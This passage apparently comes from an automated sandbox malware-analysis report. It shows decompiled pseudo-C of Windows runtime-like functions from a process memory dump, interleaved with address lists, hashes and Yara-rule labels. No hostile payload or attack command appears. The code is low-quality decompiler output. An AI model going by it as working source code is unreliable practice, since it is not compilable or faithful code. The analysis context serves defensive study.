							_t123 =  *0xe37b00; // 0x0
							asm("ror esi, cl");
							 *0xe3b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E00D895D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E00D57F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x00d703f1
0x00d703f7
0x00d703f9
0x00d703fb
0x00d703fd
0x00d70400
0x00d7040a
0x00db4c7a
0x00d70537
0x00d70547
0x00d70410
0x00d70410
0x00d70414
0x00d70417
0x00d7041a
0x00d70421
0x00d70424
0x00d7042b
0x00d7043b
0x00d7043e
0x00d7043f
0x00d7043f
0x00d70446
0x00d70449
0x00d7044c
0x00d7044f
0x00d70459
0x00db4c8d
0x00d7045f
0x00d7045f
0x00d7045f
0x00d70467
0x00db4c97
0x00db4c9d
0x00db4ca4
0x00db4caa
0x00db4caf
0x00db4cb1
0x00db4cc3
0x00db4cb3
0x00db4cbc
0x00db4cbc
0x00db4cc8
0x00db4ccb
0x00db4cd7
0x00db4cda
0x00db4cdf
0x00db4cdf
0x00db4ccb
0x00db4ca4
0x00d7046d
0x00d7046f
0x00d7046f
0x00d70471
0x00d70476
0x00d7047a
0x00d7047b
0x00d70483
0x00d70489
0x00d7048d
0x00000000
0x00000000
0x00db4ce9
0x00db4cef
0x00db4d22
0x00db4d22
0x00000000
0x00db4d22
0x00db4cf1
0x00db4cf7
0x00000000
0x00000000
0x00db4cf9
0x00db4cff
0x00000000
0x00000000
0x00db4d05
0x00db4d07
0x00000000
0x00000000
0x00db4d0d
0x00db4d0f
0x00db4d14
0x00db4d16
0x00000000
0x00000000
0x00db4d1c
0x00db4d1c
0x00d70499
0x00d70535
0x00d70535
0x00000000
0x00d70535
0x00d704a6
0x00db4d2c
0x00db4d37
0x00db4d39
0x00db4d3b
0x00000000
0x00000000
0x00db4d41
0x00db4d48
0x00d70527
0x00d7052b
0x00d7052d
0x00d70530
0x00d70530
0x00000000
0x00d7052b
0x00db4d4e
0x00d704ac
0x00d704ac
0x00d704af
0x00d704b2
0x00d704b7
0x00d704b9
0x00d704bb
0x00d704bd
0x00d704bf
0x00d704c5
0x00d704c9
0x00db4d53
0x00db4d59
0x00db4db9
0x00db4dba
0x00db4dbf
0x00db4dc2
0x00db4dc4
0x00db4dc7
0x00db4dce
0x00000000
0x00db4dce
0x00db4d5b
0x00db4d61
0x00000000
0x00000000
0x00db4d63
0x00db4d69
0x00000000
0x00000000
0x00db4d6b
0x00db4d6e
0x00db4d74
0x00db4d76
0x00db4d7c
0x00db4d7e
0x00db4d84
0x00db4d89
0x00db4d8c
0x00db4d8d
0x00db4d92
0x00db4d95
0x00db4d96
0x00db4d98
0x00db4d9a
0x00db4d9f
0x00db4da4
0x00db4da6
0x00db4da8
0x00db4daf
0x00db4db1
0x00db4db1
0x00db4daf
0x00db4da6
0x00db4d84
0x00db4d7c
0x00000000
0x00db4d74
0x00d704d6
0x00db4de1
0x00d704dc
0x00d704dc
0x00d704dc
0x00d704e4
0x00db4deb
0x00db4df1
0x00db4df8
0x00db4dfe
0x00db4e03
0x00db4e05
0x00db4e17
0x00db4e07
0x00db4e10
0x00db4e10
0x00db4e1c
0x00db4e1f
0x00db4e35
0x00db4e35
0x00db4e1f
0x00db4df8
0x00d704f1
0x00d704fa
0x00db4e3f
0x00db4e47
0x00db4e5b
0x00db4e61
0x00db4e67
0x00db4e69
0x00db4e71
0x00db4e73
0x00d70500
0x00d70500
0x00d70500
0x00d704fa
0x00d70508
0x00d7051d
0x00d7051d
0x00d7051f
0x00d70524
0x00000000
0x00d70524
0x00d70515
0x00d70517
0x00db4e7a
0x00db4e7c
0x00000000
0x00000000
0x00db4e85
0x00000000
0x00db4e85
0x00000000
0x00d70517

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d5f508ccf0aed36f187d80a618cbabe80d6c6ba79af6f747d9241f303320633
Instruction ID: 8194b28301980c95a1c1a0a2fa22015ded7b3fc2b156dd55370f1ae350feb4ca
Opcode Fuzzy Hash: 0d5f508ccf0aed36f187d80a618cbabe80d6c6ba79af6f747d9241f303320633
Instruction Fuzzy Hash: 9B910831E04218DFDB21DB68C845BADBFA4EB01728F194265F955A72D2EB74DD00CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D4C600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00D4C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0xe3d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E00D56D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E00D8B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0xe37b9c; // 0x0
					_t74 = L00D64620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E00D89650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L00D677F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E00D8F3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E00D813C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L00D677F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E00D89650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x00d4c608
0x00d4c615
0x00d4c625
0x00d4c62d
0x00d4c635
0x00d4c640
0x00d4c680
0x00d4c687
0x00d4c688
0x00d4c689
0x00d4c694
0x00d4c694
0x00d4c642
0x00d4c64a
0x00d4c697
0x00db7a25
0x00db7a2b
0x00db7a2e
0x00db7a30
0x00db7bea
0x00db7bea
0x00000000
0x00db7bea
0x00db7a36
0x00db7a43
0x00db7a48
0x00db7a4c
0x00db7a4e
0x00000000
0x00000000
0x00db7a58
0x00db7a5a
0x00db7a5b
0x00db7a5c
0x00db7a5d
0x00db7a63
0x00db7a64
0x00db7a6a
0x00db7a6c
0x00db7a6e
0x00db79cb
0x00db79cb
0x00db79ce
0x00db79d0
0x00db7a98
0x00db7a9b
0x00db7a9b
0x00db7a9e
0x00db7aa1
0x00db7bbe
0x00db7bbe
0x00db7bc0
0x00db7be0
0x00db7be0
0x00db7a01
0x00db7a01
0x00db7a05
0x00db7a07
0x00db7a15
0x00db7a15
0x00db7a1a
0x00000000
0x00db7a1a
0x00db7bc2
0x00db7bc6
0x00db7bc9
0x00db7bcd
0x00db7bcf
0x00db79e6
0x00db79e6
0x00db79eb
0x00db79eb
0x00db79ef
0x00db79f1
0x00000000
0x00000000
0x00db79f3
0x00db79f5
0x00db79ff
0x00db79ff
0x00000000
0x00db79ff
0x00db79f7
0x00db79fd
0x00000000
0x00000000
0x00000000
0x00db79fd
0x00db7bd5
0x00db7bd8
0x00000000
0x00000000
0x00db7ba9
0x00db7bac
0x00db7bb0
0x00db7bb1
0x00db7bb1
0x00db7bb6
0x00000000
0x00db7bb6
0x00db7aa7
0x00db7aaa
0x00000000
0x00000000
0x00db7ab2
0x00db7ab3
0x00db7ab5
0x00db7aec
0x00db7aef
0x00db7b25
0x00db7b28
0x00db7b62
0x00db7b64
0x00db7b8f
0x00db7b92
0x00db7b96
0x00db7b98
0x00000000
0x00000000
0x00db7b9e
0x00db7b9f
0x00db7ba3
0x00000000
0x00db7ba3
0x00db7b66
0x00db7b68
0x00db7ae2
0x00db7ae2
0x00000000
0x00db7ae2
0x00db7b6e
0x00db7b72
0x00db7b75
0x00db7b81
0x00db7b85
0x00db7b87
0x00000000
0x00000000
0x00db7b31
0x00db7b34
0x00db7b3c
0x00db7b45
0x00db7b46
0x00db7b4f
0x00db7b51
0x00db7b57
0x00db7b59
0x00db7b59
0x00000000
0x00db7b59
0x00db7b77
0x00000000
0x00db7b77
0x00db7b2a
0x00000000
0x00db7b2a
0x00db7af1
0x00db7af3
0x00000000
0x00000000
0x00db7afb
0x00db7afc
0x00db7afe
0x00000000
0x00000000
0x00db7b00
0x00db7b03
0x00000000
0x00000000
0x00db7b05
0x00db7b09
0x00db7b0d
0x00db7b0f
0x00000000
0x00000000
0x00db7b18
0x00db7b1d
0x00000000
0x00db7b1d
0x00db7ab7
0x00db7ab9
0x00000000
0x00000000
0x00db7abf
0x00db7ac1
0x00000000
0x00000000
0x00db7ac3
0x00db7ac6
0x00000000
0x00000000
0x00db7ac8
0x00db7acc
0x00db7ad0
0x00db7ad2
0x00000000
0x00000000
0x00db7adb
0x00000000
0x00db7adb
0x00db79d6
0x00db79d9
0x00db79dc
0x00db7a91
0x00db7a94
0x00000000
0x00db7a94
0x00db79e2
0x00000000
0x00db79e2
0x00db7a74
0x00db7a7a
0x00000000
0x00000000
0x00db7a8a
0x00db7a21
0x00db7a21
0x00000000
0x00db7a21
0x00d4c650
0x00d4c651
0x00d4c656
0x00d4c65c
0x00d4c65d
0x00d4c663
0x00d4c664
0x00d4c66a
0x00d4c66e
0x00db79c5
0x00db79c7
0x00000000
0x00db79c7
0x00d4c67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57fb6591176b6f829ecc7463231152faeae62f351b740f7742cfd8c575760e76
Instruction ID: 5c0b508491917a08babf266f1ba6e2f5663cea3262272921c6a040a0ddedfb77
Opcode Fuzzy Hash: 57fb6591176b6f829ecc7463231152faeae62f351b740f7742cfd8c575760e76
Instruction Fuzzy Hash: E3817F7564C201DBCB25CF14C891AAFB7A5EBC4350F29486AFD8A9B241D330DE45CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00DDB8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00DDB8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0xe37b9c; // 0x0
				_t124 = L00D64620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E00D89800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E00D895B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E00D895D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L00D677F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E00D89910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E00D895D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0xe37b9c; // 0x0
									_t92 = L00D64620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E00D89910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E00D4A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E00DDE7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E00DDE7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E00D895B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x00ddb8d9
0x00ddb8e4
0x00000000
0x00ddb8e6
0x00ddb8f3
0x00ddb8f5
0x00ddb8f5
0x00ddb8f8
0x00ddb920
0x00ddb924
0x00ddb936
0x00ddb939
0x00ddb93d
0x00ddb948
0x00ddb9a0
0x00ddb9a0
0x00ddb9a4
0x00ddb9bf
0x00ddb9c4
0x00ddb9c6
0x00ddb9cd
0x00ddb9d1
0x00ddbad4
0x00ddbad8
0x00ddbada
0x00ddbadc
0x00ddbadc
0x00ddbadf
0x00ddbae0
0x00ddbae2
0x00ddbae4
0x00ddbaec
0x00ddbaee
0x00ddbaf0
0x00ddbaf0
0x00ddbaec
0x00ddbafb
0x00ddbafc
0x00ddbafe
0x00ddbb01
0x00ddbb01
0x00000000
0x00ddbb06
0x00ddb9d7
0x00ddb9db
0x00ddb9db
0x00ddb9de
0x00ddb9de
0x00ddb9e4
0x00ddb9e7
0x00ddb9ea
0x00ddb9ec
0x00ddb9ef
0x00ddb9f3
0x00ddba1b
0x00ddba1b
0x00ddba23
0x00ddba24
0x00ddba27
0x00ddba2a
0x00ddba2b
0x00ddba2e
0x00ddba30
0x00ddba37
0x00ddba3f
0x00ddba9c
0x00ddbaa2
0x00ddbb13
0x00ddbb15
0x00ddbaae
0x00ddbaae
0x00ddbab3
0x00ddbab5
0x00ddbaba
0x00ddbac8
0x00ddbac8
0x00ddbaba
0x00ddbacd
0x00ddbacf
0x00000000
0x00ddbacf
0x00ddbb1a
0x00000000
0x00ddbb1c
0x00ddbaa7
0x00ddbb11
0x00000000
0x00ddbb11
0x00ddbaa9
0x00000000
0x00000000
0x00000000
0x00000000
0x00ddba41
0x00ddba41
0x00ddba41
0x00ddba58
0x00ddba5d
0x00ddba62
0x00000000
0x00000000
0x00ddba64
0x00ddba67
0x00ddba68
0x00ddba69
0x00ddba6c
0x00ddba6f
0x00ddba71
0x00ddba78
0x00ddba80
0x00000000
0x00000000
0x00ddba90
0x00ddba90
0x00ddba97
0x00000000
0x00ddba97
0x00ddb9f5
0x00ddb9f7
0x00ddb9f7
0x00ddb9fa
0x00ddba03
0x00ddba07
0x00ddba0c
0x00ddba10
0x00ddba17
0x00000000
0x00ddb9f7
0x00ddb9a6
0x00ddb9a8
0x00ddb9af
0x00ddb9b3
0x00000000
0x00000000
0x00ddb9b9
0x00000000
0x00ddb9b9
0x00ddb94d
0x00ddb98f
0x00ddb995
0x00ddb999
0x00ddb960
0x00ddb967
0x00ddb968
0x00ddb96a
0x00000000
0x00ddb96a
0x00ddb99b
0x00ddb99e
0x00000000
0x00000000
0x00000000
0x00ddb99e
0x00ddb951
0x00ddb954
0x00ddb95a
0x00ddb95e
0x00ddb972
0x00ddb979
0x00ddb97d
0x00ddb97f
0x00ddb980
0x00ddb982
0x00ddb984
0x00000000
0x00ddb984
0x00000000
0x00ddb926
0x00000000
0x00ddb926

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 810f411a09a06433b1a35d81a65b0096e22dfa98ef21482b09f79819b4378a52
Instruction ID: 253be70968718eeef9ab451eecf234a030d1616ebf062263e987cedd61946e9f
Opcode Fuzzy Hash: 810f411a09a06433b1a35d81a65b0096e22dfa98ef21482b09f79819b4378a52
Instruction Fuzzy Hash: 24711F32200B01EFD731DF14C851F66BBA5EB44728F2A452BE6958B7A1DBB4E904CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00DC6DC9, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00DC6DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E00DC6B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E00D67D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E00D89AE0();
					_t87 = L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E00DC795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E00DC795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E00DC795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E00DC795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L00D64620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E00DC6B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E00DC6B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E00DC6B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E00DC6B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E00D67D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E00D89AE0();
								L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L00D62400( &_v36);
							if(_v24 >= 0) {
								_t87 = L00D62400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L00D62400( &_v52);
							}
							if(_v28 >= 0) {
								return L00D62400( &_v60);
							}
						}
					}
				}
				return _t87;
			}

0x00dc6dd4
0x00dc6dde
0x00dc6de1
0x00dc6de3
0x00dc6de6
0x00dc6de9
0x00dc6dec
0x00dc6def
0x00dc6df2
0x00dc6df5
0x00dc6dfe
0x00dc6e04
0x00dc6e09
0x00dc6e0d
0x00dc6e18
0x00dc6e1b
0x00dc6e22
0x00dc6e2d
0x00dc6e30
0x00dc6e36
0x00dc6e42
0x00dc6e4d
0x00dc6e50
0x00dc6e55
0x00dc6e5c
0x00dc6e6e
0x00dc6e5e
0x00dc6e67
0x00dc6e67
0x00dc6e73
0x00dc6e74
0x00dc6e77
0x00dc6e7c
0x00dc6e7d
0x00dc6e8e
0x00dc6e93
0x00dc6e9c
0x00dc6ea8
0x00dc6eab
0x00dc6eac
0x00dc6eb3
0x00dc6ecd
0x00dc6edc
0x00dc6ee2
0x00dc6ee5
0x00dc6ef2
0x00dc6efb
0x00dc6f01
0x00dc6f06
0x00dc6f0b
0x00dc6f11
0x00dc6f1a
0x00dc6f22
